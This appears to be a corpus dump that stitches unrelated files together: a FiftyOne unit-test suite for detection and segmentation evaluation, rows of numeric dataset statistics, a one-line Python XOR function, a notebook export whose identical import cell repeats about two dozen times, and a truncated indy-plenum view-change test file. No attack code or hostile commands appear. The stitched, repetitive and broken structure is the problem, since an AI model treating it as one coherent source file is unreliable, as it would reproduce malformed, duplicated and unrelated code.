dict(use_masks=True) self._evaluate_coco(dataset, kwargs) @drop_datasets def test_evaluate_polylines_coco(self): dataset = self._make_polylines_dataset() kwargs = {} self._evaluate_coco(dataset, kwargs) @drop_datasets def test_evaluate_detections_open_images(self): dataset = self._make_detections_dataset() kwargs = {} self._evaluate_open_images(dataset, kwargs) @drop_datasets def test_evaluate_instances_open_images(self): dataset = self._make_instances_dataset() kwargs = dict(use_masks=True) self._evaluate_open_images(dataset, kwargs) @drop_datasets def test_evaluate_polylines_open_images(self): dataset = self._make_polylines_dataset() kwargs = {} self._evaluate_open_images(dataset, kwargs) class VideoDetectionsTests(unittest.TestCase): def _make_video_detections_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="video1.mp4") sample2 = fo.Sample(filepath="video2.mp4") sample2.frames[1] = fo.Frame() sample3 = fo.Sample(filepath="video3.mp4") sample3.frames[1] = fo.Frame( ground_truth=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], ) ] ), predictions=None, ) sample3.frames[2] = fo.Frame( ground_truth=None, predictions=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], confidence=0.9, ) ] ), ) sample4 = fo.Sample(filepath="video4.mp4") sample4.frames[1] = fo.Frame( ground_truth=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], ) ] ), predictions=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], confidence=0.9, ) ] ), ) sample4.frames[2] = fo.Frame( ground_truth=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], ) ] ), predictions=fo.Detections( detections=[ fo.Detection( label="dog", bounding_box=[0.1, 0.1, 0.4, 0.4], confidence=0.9, ) ] ), ) dataset.add_samples([sample1, sample2, sample3, sample4]) return dataset def test_evaluate_video_detections_coco(self): dataset = self._make_video_detections_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_detections( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="coco", compute_mAP=True, ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() results.mAP() metrics = results.metrics() self.assertEqual(metrics["support"], 0) actual = results.confusion_matrix() self.assertEqual(actual.shape, (0, 0)) # # Test classwise evaluation (including missing data) # results = dataset.evaluate_detections( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="coco", compute_mAP=True, classwise=True, # don't allow matches w/ different classes ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() results.mAP() metrics = results.metrics() self.assertEqual(metrics["support"], 3) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 0, 2], [0, 0, 0], [1, 1, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertListEqual( dataset.values("frames.ground_truth.detections.eval"), [[], [None], [["fn"], None], [["tp"], ["fn"]]], ) self.assertListEqual( dataset.values("frames.predictions.detections.eval"), [[], [None], [None, ["fp"]], [["tp"], ["fp"]]], ) self.assertIn("eval_tp", dataset.get_field_schema()) self.assertIn("eval_tp", dataset.get_frame_field_schema()) self.assertListEqual( dataset.values("frames.eval_tp"), [[], [0], [0, 0], [1, 0]], ) self.assertIn("eval_fp", dataset.get_field_schema()) self.assertIn("eval_fp", dataset.get_frame_field_schema()) self.assertListEqual( dataset.values("frames.eval_fp"), [[], [0], [0, 1], [0, 1]], ) self.assertIn("eval_fn", dataset.get_field_schema()) self.assertIn("eval_fn", dataset.get_frame_field_schema()) self.assertListEqual( dataset.values("frames.eval_fn"), [[], [0], [1, 0], [0, 1]], ) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertListEqual( dataset.values("frames.ground_truth.detections.eval"), [[], [None], [[None], None], [[None], [None]]], ) self.assertListEqual( dataset.values("frames.predictions.detections.eval"), [[], [None], [None, [None]], [[None], [None]]], ) self.assertNotIn("eval_tp", dataset.get_field_schema()) self.assertNotIn("eval_tp", dataset.get_frame_field_schema()) self.assertNotIn("eval_fp", dataset.get_field_schema()) self.assertNotIn("eval_fp", dataset.get_frame_field_schema()) self.assertNotIn("eval_fn", dataset.get_field_schema()) self.assertNotIn("eval_fn", dataset.get_frame_field_schema()) # # Test non-classwise evaluation (including missing data) # results = dataset.evaluate_detections( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="coco", compute_mAP=True, classwise=False, # allow matches w/ different classes ) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 1, 1], [0, 0, 0], [1, 0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertListEqual( dataset.values("frames.ground_truth.detections.eval"), [[], [None], [["fn"], None], [["tp"], ["fn"]]], ) self.assertListEqual( dataset.values("frames.predictions.detections.eval"), [[], [None], [None, ["fp"]], [["tp"], ["fp"]]], ) self.assertListEqual( dataset.values("frames.eval_tp"), [[], [0], [0, 0], [1, 0]], ) self.assertListEqual( dataset.values("frames.eval_fp"), [[], [0], [0, 1], [0, 1]], ) self.assertListEqual( dataset.values("frames.eval_fn"), [[], [0], [1, 0], [0, 1]], ) def test_evaluate_video_detections_open_images(self): dataset = self._make_video_detections_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_detections( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="open-images", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() results.mAP() metrics = results.metrics() self.assertEqual(metrics["support"], 0) actual = results.confusion_matrix() self.assertEqual(actual.shape, (0, 0)) # # Test classwise evaluation (including missing data) # results = dataset.evaluate_detections( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="open-images", classwise=True, # don't allow matches w/ different classes ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() results.mAP() metrics = results.metrics() self.assertEqual(metrics["support"], 3) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 0, 2], [0, 0, 0], [1, 1, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertListEqual( dataset.values("frames.ground_truth.detections.eval"), [[], [None], [["fn"], None], [["tp"], ["fn"]]], ) self.assertListEqual( dataset.values("frames.predictions.detections.eval"), [[], [None], [None, ["fp"]], [["tp"], ["fp"]]], ) self.assertIn("eval_tp", dataset.get_field_schema()) self.assertIn("eval_tp", dataset.get_frame_field_schema()) self.assertListEqual( dataset.values("frames.eval_tp"), [[], [0], [0, 0], [1, 0]], ) self.assertIn("eval_fp", dataset.get_field_schema()) self.assertIn("eval_fp", dataset.get_frame_field_schema()) self.assertListEqual( dataset.values("frames.eval_fp"), [[], [0], [0, 1], [0, 1]], ) self.assertIn("eval_fn", dataset.get_field_schema()) self.assertIn("eval_fn", dataset.get_frame_field_schema()) self.assertListEqual( dataset.values("frames.eval_fn"), [[], [0], [1, 0], [0, 1]], ) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertListEqual( dataset.values("frames.ground_truth.detections.eval"), [[], [None], [[None], None], [[None], [None]]], ) self.assertListEqual( dataset.values("frames.predictions.detections.eval"), [[], [None], [None, [None]], [[None], [None]]], ) self.assertNotIn("eval_tp", dataset.get_field_schema()) self.assertNotIn("eval_tp", dataset.get_frame_field_schema()) self.assertNotIn("eval_fp", dataset.get_field_schema()) self.assertNotIn("eval_fp", dataset.get_frame_field_schema()) self.assertNotIn("eval_fn", dataset.get_field_schema()) self.assertNotIn("eval_fn", dataset.get_frame_field_schema()) # # Test non-classwise evaluation (including missing data) # results = dataset.evaluate_detections( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="open-images", classwise=False, # allow matches w/ different classes ) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 1, 1], [0, 0, 0], [1, 0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertListEqual( dataset.values("frames.ground_truth.detections.eval"), [[], [None], [["fn"], None], [["tp"], ["fn"]]], ) self.assertListEqual( dataset.values("frames.predictions.detections.eval"), [[], [None], [None, ["fp"]], [["tp"], ["fp"]]], ) self.assertListEqual( dataset.values("frames.eval_tp"), [[], [0], [0, 0], [1, 0]], ) self.assertListEqual( dataset.values("frames.eval_fp"), [[], [0], [0, 1], [0, 1]], ) self.assertListEqual( dataset.values("frames.eval_fn"), [[], [0], [1, 0], [0, 1]], ) class SegmentationTests(unittest.TestCase): def _make_segmentation_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="image1.jpg") sample2 = fo.Sample( filepath="image2.jpg", ground_truth=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), predictions=None, ) sample3 = fo.Sample( filepath="image3.jpg", ground_truth=None, predictions=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), ) sample4 = fo.Sample( filepath="image4.jpg", ground_truth=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), predictions=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), ) sample5 = fo.Sample( filepath="image5.jpg", ground_truth=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), predictions=fo.Segmentation(mask=np.array([[1, 2], [0, 0]])), ) dataset.add_samples([sample1, sample2, sample3, sample4, sample5]) return dataset @drop_datasets def test_evaluate_segmentations_simple(self): dataset = self._make_segmentation_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_segmentations( "predictions", gt_field="ground_truth", eval_key="eval", method="simple", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 0) actual = results.confusion_matrix() self.assertEqual(actual.shape, (0, 0)) # # Test evaluation (including missing data) # with warnings.catch_warnings(): warnings.simplefilter("ignore") # suppress missing masks warning results = dataset.evaluate_segmentations( "predictions", gt_field="ground_truth", eval_key="eval", method="simple", mask_targets={0: "background", 1: "cat", 2: "dog"}, ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 4) # rows = GT, cols = predicted, labels = [background, cat, dog] actual = results.confusion_matrix() expected = np.array([[2, 1, 1], [1, 1, 0], [1, 0, 1]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertIn("eval_accuracy", dataset.get_field_schema()) self.assertIn("eval_precision", dataset.get_field_schema()) self.assertIn("eval_recall", dataset.get_field_schema()) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval_accuracy", dataset.get_field_schema()) self.assertNotIn("eval_precision", dataset.get_field_schema()) self.assertNotIn("eval_recall", dataset.get_field_schema()) class VideoSegmentationTests(unittest.TestCase): def _make_video_segmentation_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="video1.mp4") sample2 = fo.Sample(filepath="video2.mp4") sample2.frames[1] = fo.Frame() sample3 = fo.Sample(filepath="video3.mp4") sample3.frames[1] = fo.Frame( ground_truth=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), predictions=None, ) sample3.frames[2] = fo.Frame( ground_truth=None, predictions=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), ) sample4 = fo.Sample(filepath="video4.mp4") sample4.frames[1] = fo.Frame( ground_truth=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), predictions=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), ) sample4.frames[2] = fo.Frame( ground_truth=fo.Segmentation(mask=np.array([[0, 0], [1, 2]])), predictions=fo.Segmentation(mask=np.array([[1, 2], [0, 0]])), ) dataset.add_samples([sample1, sample2, sample3, sample4]) return dataset @drop_datasets def test_evaluate_video_segmentations_simple(self): dataset = self._make_video_segmentation_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_segmentations( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="simple", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 0) actual = results.confusion_matrix() self.assertEqual(actual.shape, (0, 0)) # # Test evaluation (including missing data) # with warnings.catch_warnings(): warnings.simplefilter("ignore") # suppress missing masks warning results = dataset.evaluate_segmentations( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="simple", mask_targets={0: "background", 1: "cat", 2: "dog"}, ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 4) # rows = GT, cols = predicted, labels = [background, cat, dog] actual = results.confusion_matrix() expected = np.array([[2, 1, 1], [1, 1, 0], [1, 0, 1]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertIn("eval_accuracy", dataset.get_field_schema()) self.assertIn("eval_accuracy", dataset.get_frame_field_schema()) self.assertIn("eval_precision", dataset.get_field_schema()) self.assertIn("eval_precision", dataset.get_frame_field_schema()) self.assertIn("eval_recall", dataset.get_field_schema()) self.assertIn("eval_recall", dataset.get_frame_field_schema()) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval_accuracy", dataset.get_field_schema()) self.assertNotIn("eval_accuracy", dataset.get_frame_field_schema()) self.assertNotIn("eval_precision", dataset.get_field_schema()) self.assertNotIn("eval_precision", dataset.get_frame_field_schema()) self.assertNotIn("eval_recall", dataset.get_field_schema()) self.assertNotIn("eval_recall", dataset.get_frame_field_schema()) if __name__ == "__main__": fo.config.show_progress_bars = False unittest.main(verbosity=2)
33.134177
78
0.544254
6,655
65,440
5.195943
0.031104
0.008213
0.008155
0.051823
0.98288
0.978195
0.969895
0.964314
0.96041
0.953353
0
0.023532
0.321409
65,440
1,974
79
33.150963
0.755151
0.05599
0
0.839623
0
0
0.067234
0.006718
0
0
0
0
0.192049
1
0.020216
false
0
0.003369
0
0.035714
0.018868
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
629cbce96b51ae9d0c47568f4b609e4b3955c105
64
py
Python
CodeWars/7 Kyu/Binary sXORe.py
anubhab-code/Competitive-Programming
de28cb7d44044b9e7d8bdb475da61e37c018ac35
[ "MIT" ]
null
null
null
CodeWars/7 Kyu/Binary sXORe.py
anubhab-code/Competitive-Programming
de28cb7d44044b9e7d8bdb475da61e37c018ac35
[ "MIT" ]
null
null
null
CodeWars/7 Kyu/Binary sXORe.py
anubhab-code/Competitive-Programming
de28cb7d44044b9e7d8bdb475da61e37c018ac35
[ "MIT" ]
null
null
null
def sxore(n): return (n * (n % 2 == 0)) + ((n + 1) % 4) // 2
32
50
0.359375
12
64
1.916667
0.666667
0
0
0
0
0
0
0
0
0
0
0.116279
0.328125
64
2
50
32
0.418605
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
62de7fb9d2db0ad9c2ee6c9d78010956c7f7e72d
7,752
py
Python
good_robot/None.py
ANaka/good_robot
f39371ef94a6ddbb50d17acced86ed0b12423a3c
[ "Apache-2.0" ]
null
null
null
good_robot/None.py
ANaka/good_robot
f39371ef94a6ddbb50d17acced86ed0b12423a3c
[ "Apache-2.0" ]
2
2021-09-28T02:00:02.000Z
2022-02-26T07:25:42.000Z
good_robot/None.py
ANaka/good_robot
f39371ef94a6ddbb50d17acced86ed0b12423a3c
[ "Apache-2.0" ]
null
null
null
# Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2 # Cell #export import bezier from matplotlib.collections import LineCollection from matplotlib import pyplot as plt import numpy as np from penkit import write, preview from pathlib import Path import seaborn as sns from tqdm import tqdm from nbdev.showdoc import * from .gram import * %load_ext autoreload %autoreload 2
20.135065
49
0.814241
1,152
7,752
5.458333
0.024306
0.10687
0.061069
0.083969
1
1
1
1
1
1
0
0.003663
0.154799
7,752
385
50
20.135065
0.956044
0.033927
0
1
0
0
0
0
0
0
0
0
0
0
null
null
0
0.833333
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
9
c55f209df8c907a3b835f3aadca79abe01df8b44
32,043
py
Python
plenum/test/consensus/view_change/test_view_change_service.py
donqui/indy-plenum
ca6e8a3c5b15e35f176a6530ac537efda127213a
[ "Apache-2.0" ]
null
null
null
plenum/test/consensus/view_change/test_view_change_service.py
donqui/indy-plenum
ca6e8a3c5b15e35f176a6530ac537efda127213a
[ "Apache-2.0" ]
null
null
null
plenum/test/consensus/view_change/test_view_change_service.py
donqui/indy-plenum
ca6e8a3c5b15e35f176a6530ac537efda127213a
[ "Apache-2.0" ]
null
null
null
import random import pytest from unittest.mock import Mock from plenum.common.messages.internal_messages import NeedViewChange, NewViewAccepted, ViewChangeStarted, \ NewViewCheckpointsApplied, NodeNeedViewChange from plenum.common.startable import Mode from plenum.common.util import getMaxFailures from plenum.server.consensus.primary_selector import RoundRobinConstantNodesPrimariesSelector from plenum.server.consensus.utils import replica_name_to_node_name from plenum.server.consensus.view_change_storages import view_change_digest from plenum.common.messages.node_messages import ViewChange, ViewChangeAck, NewView, Checkpoint, InstanceChange from plenum.server.consensus.view_change_service import ViewChangeService from plenum.server.consensus.view_change_trigger_service import ViewChangeTriggerService from plenum.server.database_manager import DatabaseManager from plenum.server.replica_helper import generateName from plenum.server.suspicion_codes import Suspicions from plenum.test.checkpoints.helper import cp_digest from plenum.test.consensus.helper import copy_shared_data, check_service_changed_only_owned_fields_in_shared_data, \ create_new_view, create_view_change, create_new_view_from_vc, create_view_change_acks, create_batches DEFAULT_STABLE_CHKP = 10 @pytest.fixture def view_change_service_builder(consensus_data, timer, internal_bus, external_bus, stasher, initial_view_no, validators): def _service(name): data = consensus_data(name) data.node_mode = Mode.participating digest = cp_digest(DEFAULT_STABLE_CHKP) cp = Checkpoint(instId=0, viewNo=initial_view_no, seqNoStart=0, seqNoEnd=DEFAULT_STABLE_CHKP, digest=digest) data.checkpoints.append(cp) ViewChangeTriggerService(data=data, timer=timer, bus=internal_bus, network=external_bus, db_manager=DatabaseManager(), stasher=stasher, is_master_degraded=lambda: False) primaries_selector = RoundRobinConstantNodesPrimariesSelector(validators) service = ViewChangeService(data, timer, internal_bus, external_bus, stasher, primaries_selector) return service return _service @pytest.fixture def view_change_acks(validators, random): def _view_change_acks(vc, vc_frm, primary, count): digest = view_change_digest(vc) non_senders = [name for name in validators if name not in [vc_frm, primary]] ack_frms = random.sample(non_senders, count) return [(ViewChangeAck(viewNo=vc.viewNo, name=vc_frm, digest=digest), ack_frm) for ack_frm in ack_frms] return _view_change_acks @pytest.fixture def view_change_service(view_change_service_builder, validators, some_item): return view_change_service_builder(some_item(validators)) def test_updates_shared_data_on_need_view_change(internal_bus, view_change_service, initial_view_no, is_master): old_primary = view_change_service._data.primary_name old_primaries = view_change_service._data.primaries old_data = copy_shared_data(view_change_service._data) internal_bus.send(NeedViewChange()) assert view_change_service._data.view_no == initial_view_no + 1 assert view_change_service._data.waiting_for_new_view assert view_change_service._data.primary_name != old_primary assert view_change_service._data.primaries != old_primaries new_data = copy_shared_data(view_change_service._data) check_service_changed_only_owned_fields_in_shared_data(ViewChangeService, old_data, new_data) old_primary = view_change_service._data.primary_name old_primaries = view_change_service._data.primaries old_data = copy_shared_data(view_change_service._data) internal_bus.send(NeedViewChange(view_no=initial_view_no + 3)) assert view_change_service._data.view_no == initial_view_no + 3 assert view_change_service._data.waiting_for_new_view assert view_change_service._data.primary_name != old_primary assert view_change_service._data.primaries != old_primaries new_data = copy_shared_data(view_change_service._data) check_service_changed_only_owned_fields_in_shared_data(ViewChangeService, old_data, new_data) def test_do_nothing_on_view_change_started(internal_bus, view_change_service): view_change_service._data.waiting_for_new_view = False view_change_service._data.view_no = 1 view_change_service._data.primary_name = "Alpha" view_change_service._data.primaries = ["Alpha", "Beta"] old_data = copy_shared_data(view_change_service._data) internal_bus.send(ViewChangeStarted(view_no=4)) new_data = copy_shared_data(view_change_service._data) assert old_data == new_data def test_update_shared_data_on_new_view_accepted(internal_bus, view_change_service, is_master): # TODO: Need to decide on how we handle this case if not is_master: return view_change_service._data.waiting_for_new_view = False view_change_service._data.view_no = 1 view_change_service._data.primary_name = "Alpha" view_change_service._data.primaries = ["Alpha", "Beta"] view_change_service._data.prev_view_prepare_cert = 1 old_data = copy_shared_data(view_change_service._data) new_view = create_new_view(initial_view_no=3, stable_cp=200) internal_bus.send(NewViewAccepted(view_no=4, view_changes=new_view.viewChanges, checkpoint=new_view.checkpoint, batches=new_view.batches)) new_data = copy_shared_data(view_change_service._data) # For now prev_view_prepare_cert is set on finish_view_change stage assert view_change_service._data.prev_view_prepare_cert == 1 check_service_changed_only_owned_fields_in_shared_data(ViewChangeService, old_data, new_data) def test_setup_prev_view_prepare_cert_on_vc_finished(internal_bus, view_change_service, is_master): if not is_master: return view_change_service._data.waiting_for_new_view = True view_change_service._data.prev_view_prepare_cert = 1 new_view = create_new_view(initial_view_no=3, stable_cp=200) view_change_service._data.new_view = new_view view_change_service._finish_view_change() assert view_change_service._data.prev_view_prepare_cert == new_view.batches[-1].pp_seq_no assert not view_change_service._data.waiting_for_new_view def test_update_shared_data_on_new_view_accepted_no_batches(internal_bus, view_change_service, is_master): # TODO: Need to decide on how we handle this case if not is_master: return view_change_service._data.waiting_for_new_view = False view_change_service._data.view_no = 1 view_change_service._data.primary_name = "Alpha" view_change_service._data.primaries = ["Alpha", "Beta"] view_change_service._data.prev_view_prepare_cert = 1 old_data = copy_shared_data(view_change_service._data) new_view = create_new_view(initial_view_no=3, stable_cp=200, batches=[]) internal_bus.send(NewViewAccepted(view_no=4, view_changes=new_view.viewChanges, checkpoint=new_view.checkpoint, batches=new_view.batches)) new_data = copy_shared_data(view_change_service._data) # For now prev_view_prepare_cert is set on finish_view_change stage assert view_change_service._data.prev_view_prepare_cert == 1 check_service_changed_only_owned_fields_in_shared_data(ViewChangeService, old_data, new_data) def test_do_nothing_on_new_view_checkpoint_applied(internal_bus, view_change_service): view_change_service._data.waiting_for_new_view = False view_change_service._data.view_no = 1 view_change_service._data.primary_name = "Alpha" view_change_service._data.primaries = ["Alpha", "Beta"] old_data = copy_shared_data(view_change_service._data) new_view = create_new_view(initial_view_no=3, stable_cp=200) internal_bus.send(NewViewCheckpointsApplied(view_no=4, view_changes=new_view.viewChanges, checkpoint=new_view.checkpoint, batches=new_view.batches)) new_data = copy_shared_data(view_change_service._data) assert old_data == new_data def test_start_view_change_sends_view_change_started(internal_bus, view_change_service, initial_view_no, is_master): # TODO: Need to decide on how we handle this case if not is_master: return handler = Mock() internal_bus.subscribe(ViewChangeStarted, handler) 